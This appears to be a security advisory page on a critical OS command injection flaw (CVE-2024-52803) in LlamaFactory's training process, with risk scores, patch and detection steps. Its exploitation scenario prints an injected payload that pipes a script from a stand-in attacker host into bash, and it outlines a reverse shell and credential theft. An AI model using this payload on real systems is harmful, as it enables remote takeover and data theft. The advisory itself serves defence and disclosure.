CVE-2024-52803: LlamaFactory: RCE via OS command injection in training

GHSA-hj3w-wrh4-44vp CRITICAL PoC AVAILABLE CISA: TRACK*
Published November 21, 2024
CISO Take

Any LlamaFactory deployment on version <= 0.9.0 exposed to a network is fully compromised by an unauthenticated attacker. With CVSS 9.8, no privileges needed, and a public exploit PoC, patch to 0.9.1 immediately or take the training endpoint offline. Training infrastructure is typically less hardened than production — assume it is already targeted.

Risk Assessment

Extremely high. CVSS 9.8 with AV:N/AC:L/PR:N/UI:N means zero-barrier remote exploitation. EPSS at 2.4% suggests active exploitation has not been widely observed yet, but a public PoC on GitHub makes weaponization trivial. Training servers frequently run with elevated privileges and access to sensitive data (weights, datasets, cloud credentials), amplifying the blast radius well beyond the host itself.

Affected Systems

Package Ecosystem Vulnerable Range Patched
llama-factory pip No patch
llamafactory pip <= 0.9.0 0.9.1
70.8K 1 dependents Pushed 8d ago 75% patched ~167d to patch Full package profile →

Severity & Risk

CVSS 3.1
9.8 / 10
EPSS
3.2%
chance of exploitation in 30 days
Higher than 87% of all CVEs
Exploitation Status
Exploit Available
Exploitation: MEDIUM
Sophistication
Trivial
Exploitation Confidence
medium
CISA SSVC: Public PoC
Public PoC indexed (trickest/cve)
Composite signal derived from CISA KEV, CISA SSVC, EPSS, trickest/cve, and Nuclei templates.

Attack Surface

AV AC PR UI S C I A
AV Network
AC Low
PR None
UI None
S Unchanged
C High
I High
A High

Recommended Action

5 steps
  1. PATCH

    Upgrade llamafactory (pip) to >= 0.9.1 immediately — commit b3aa80d is the fix.

  2. ISOLATE

    If patching is not immediately possible, place training endpoints behind a VPN or firewall; remove all public network exposure.

  3. AUDIT

    Review running processes and shell history on training hosts for signs of exploitation (unexpected outbound connections, new cron jobs, modified model files).

  4. ROTATE

    Invalidate all credentials (cloud keys, API tokens, SSH keys) accessible from training hosts.

  5. DETECT

    Alert on child process spawns from the LlamaFactory Python process, especially shells (/bin/sh, /bin/bash) or network tools (curl, wget, nc).

CISA SSVC Assessment

Decision Track*
Exploitation poc
Automatable Yes
Technical Impact partial

Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.

Classification

Compliance Impact

This CVE is relevant to:

EU AI Act
Art. 15 - Accuracy, Robustness and Cybersecurity Art. 9 - Risk Management System
ISO 42001
8.2 - AI Risk Assessment 8.4 - AI System Lifecycle — Verification and Validation
NIST AI RMF
GOVERN 6.1 - Policies and procedures for AI risk are in place MANAGE 2.4 - Residual risks and impacts are monitored and managed
OWASP LLM Top 10
LLM05 - Supply Chain Vulnerabilities

Frequently Asked Questions

What is CVE-2024-52803?

Any LlamaFactory deployment on version <= 0.9.0 exposed to a network is fully compromised by an unauthenticated attacker. With CVSS 9.8, no privileges needed, and a public exploit PoC, patch to 0.9.1 immediately or take the training endpoint offline. Training infrastructure is typically less hardened than production — assume it is already targeted.

Is CVE-2024-52803 actively exploited?

Proof-of-concept exploit code is publicly available for CVE-2024-52803, increasing the risk of exploitation.

How to fix CVE-2024-52803?

1. PATCH: Upgrade llamafactory (pip) to >= 0.9.1 immediately — commit b3aa80d is the fix. 2. ISOLATE: If patching is not immediately possible, place training endpoints behind a VPN or firewall; remove all public network exposure. 3. AUDIT: Review running processes and shell history on training hosts for signs of exploitation (unexpected outbound connections, new cron jobs, modified model files). 4. ROTATE: Invalidate all credentials (cloud keys, API tokens, SSH keys) accessible from training hosts. 5. DETECT: Alert on child process spawns from the LlamaFactory Python process, especially shells (/bin/sh, /bin/bash) or network tools (curl, wget, nc).

What systems are affected by CVE-2024-52803?

This vulnerability affects the following AI/ML architecture patterns: LLM fine-tuning pipelines, MLOps platforms, Training infrastructure, Self-hosted model development environments.

What is the CVSS score for CVE-2024-52803?

CVE-2024-52803 has a CVSS v3.1 base score of 9.8 (CRITICAL). The EPSS exploitation probability is 3.24%.

Technical Details

NVD Description

LLama Factory enables fine-tuning of large language models. A critical remote OS command injection vulnerability has been identified in the LLama Factory training process. This vulnerability arises from improper handling of user input, allowing malicious actors to execute arbitrary OS commands on the host system. The issue is caused by insecure usage of the `Popen` function with `shell=True`, coupled with unsanitized user input. Immediate remediation is required to mitigate the risk. This vulnerability is fixed in 0.9.1.

Exploitation Scenario

An attacker identifies an internet-facing LlamaFactory training interface (common in self-hosted ML platforms and Jupyter-adjacent tooling). They craft an HTTP request to the training API with a payload containing shell metacharacters (e.g., `; curl attacker.com/shell.sh | bash #`) in a user-controlled parameter. Because `Popen` is called with `shell=True` and no sanitization, the OS shell evaluates the injected command directly. The attacker establishes a reverse shell, harvests cloud credentials from environment variables and config files, exfiltrates model checkpoints, and pivots to connected infrastructure — all without ever authenticating.

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Timeline

Published
November 21, 2024
Last Modified
August 27, 2025
First Seen
November 21, 2024

Related Vulnerabilities